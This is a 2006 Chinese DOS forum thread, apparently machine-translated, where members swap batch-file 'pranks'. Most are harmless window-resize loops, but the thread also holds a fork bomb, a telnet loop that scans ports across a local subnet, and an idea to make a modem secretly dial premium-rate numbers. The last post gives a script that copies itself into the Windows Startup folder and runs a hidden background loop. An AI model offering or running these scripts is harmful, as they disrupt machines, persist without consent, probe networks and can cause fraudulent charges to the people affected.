China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-02 05:53
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [Parody] So laggy View 2,731 Replies 16
Original Poster Posted 2006-10-15 08:48 ·  中国 四川 成都 教育网
铂金会员
★★★★
Credits 7,493
Posts 2,672
Joined 2005-09-02 00:00
20-year member
UID 42173
Gender Male
Status Offline
```
cmd /cmode con:cols=9000 lines=9000
```

Maybe it's very slow, heh heh. If someone comes up with a for loop again, it'll be cool
Recent Ratings for This Post ( 1 in total) Click for details
RaterScoreTime
redtek +1 2006-10-16 10:29

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 2 Posted 2006-10-15 08:56 ·  中国 江西 南昌 电信
初级用户
Credits 55
Posts 29
Joined 2006-04-11 16:40
20-year member
UID 53669
Gender Male
From 亚洲
Status Offline
Advocate: Draw a plus sign before running, and say "Amen" silently~! Ensure the safety of the machine body~!
Floor 3 Posted 2006-10-15 08:56 ·  中国 四川 成都 教育网
铂金会员
★★★★
Credits 7,493
Posts 2,672
Joined 2005-09-02 00:00
20-year member
UID 42173
Gender Male
Status Offline
Another one for fun


@echo off
mode con:cols=80 lines=1
for /l %%a in (1,1,9999) do (
ping/n 1 127.1>nul
mode con:cols=80 lines=%%a
)

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 4 Posted 2006-10-16 00:17 ·  中国 北京 海淀区 方正集团
中级用户
★★
Credits 404
Posts 179
Joined 2006-03-30 14:44
20-year member
UID 53056
Status Offline
Why is my machine still so fast?

cmd has used a total of 1.6M and 5% of CPU
Floor 5 Posted 2006-10-16 01:04 ·  中国 四川 成都 移动
荣誉版主
★★★★
batch fan
Credits 5,226
Posts 1,737
Joined 2006-03-10 00:38
20-year member
UID 51697
From 成都
Status Offline
Hehe, let's make it more prankish based on the 3rd floor. This one is really hard to terminate with the mouse unless you're quick-eyed and quick-fingered, or you use the keyboard to terminate, or terminate it in the Task Manager.


@echo off
mode con:cols=80 lines=5
setlocal enabledelayedexpansion
for /l %%a in (1,1,9999) do (
set line=%%a
set /a mod=!line!%%2
if !mod! equ 0 (set col=80&set line=10) else (set col=40&set line=5)
mode con:cols=!col! lines=!line!
)


[ Last edited by namejm on 2006-10-16 at 01:06 ]
尺有所短,寸有所长,学好CMD没商量。
考虑问题复杂化,解决问题简洁化。
Floor 6 Posted 2006-10-16 02:28 ·  中国 四川 成都 教育网
铂金会员
★★★★
Credits 7,493
Posts 2,672
Joined 2005-09-02 00:00
20-year member
UID 42173
Gender Male
Status Offline
Just right-click on the taskbar and click Close.

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 7 Posted 2006-10-16 02:38 ·  中国 北京 海淀区 方正集团
中级用户
★★
Credits 404
Posts 179
Joined 2006-03-30 14:44
20-year member
UID 53056
Status Offline
Haha, I tried it, it's very easy to click the cross.
Floor 8 Posted 2006-10-16 10:25 ·  中国 四川 成都 移动
荣誉版主
★★★★
batch fan
Credits 5,226
Posts 1,737
Joined 2006-03-10 00:38
20-year member
UID 51697
From 成都
Status Offline
There are still so many ways to turn it off. It seems that the prank didn't succeed. electronixtar, you come up with something better.
尺有所短,寸有所长,学好CMD没商量。
考虑问题复杂化,解决问题简洁化。
Floor 9 Posted 2006-10-16 10:30 ·  中国 湖南 娄底 新化县 电信
银牌会员
★★★
Credits 1,218
Posts 485
Joined 2006-07-21 21:24
20-year member
UID 58987
From 湖南.娄底
Status Offline
Try this and see how it works, heh heh...


@echo off
:go
start
goto go
Floor 10 Posted 2006-10-16 10:31 ·  中国 北京 联通
金牌会员
★★★★
Credits 2,902
Posts 1,147
Joined 2006-09-21 12:00
19-year member
UID 63324
Gender Male
Status Offline
Let's still pop up tens of thousands of windows, haha...
    Redtek,一个永远在网上流浪的人……

_.,-*~'`^`'~*-,.__.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._
Floor 11 Posted 2006-10-16 10:34 ·  中国 湖北 武汉 电信
版主
★★★★★
Credits 11,386
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Status Offline

  Hehe, Brother namejm's prank is quite fun. It doesn't let you click the cross in the upper right corner of the window, but you can close it with one click on the taskbar. It seems I need to mess with it more~~ :)
Floor 12 Posted 2006-10-16 10:39 ·  中国 湖北 武汉 电信
版主
★★★★★
Credits 11,386
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Status Offline

  Let me also do a little bit:

@echo off
for /l %%i in (1,1,255) do (
for /l %%o in (1,1,999) do (
@telnet 192.168.1.%%i %%o
)
)
Recent Ratings for This Post ( 1 in total) Click for details
RaterScoreTime
redtek +1 2006-10-16 10:41
Floor 13 Posted 2006-10-16 10:39 ·  中国 北京 联通
金牌会员
★★★★
Credits 2,902
Posts 1,147
Joined 2006-09-21 12:00
19-year member
UID 63324
Gender Male
Status Offline
Suggest that the AT command first hang up the MODEM's internet connection state, and then let the MODEM secretly dial international long-distance calls or 168 charging platforms, etc. : ) Is there still anyone using MODEM these days?
    Redtek,一个永远在网上流浪的人……

_.,-*~'`^`'~*-,.__.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._
Floor 14 Posted 2006-10-16 10:43 ·  中国 湖北 武汉 电信
版主
★★★★★
Credits 11,386
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Status Offline

  Yes, I am using a router and a modem to access the internet here.
Floor 15 Posted 2006-10-17 06:59 ·  中国 山东 淄博 联通
中级用户
★★
Credits 272
Posts 99
Joined 2006-06-02 09:12
20-year member
UID 56414
Status Offline

@echo off
:go
start
goto go

I think this is just about closing the first window, right?

Also based on this principle
I'll do something more aggressive
But let me say first
I have no malice啊

@echo off
if not exist "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==Startup del %~fs0


But it's better not to run it

When the file C:\_stop exists
There will be no action

[ Last edited by my3439955 on 2006-10-17 at 07:05 ]
Forum Jump: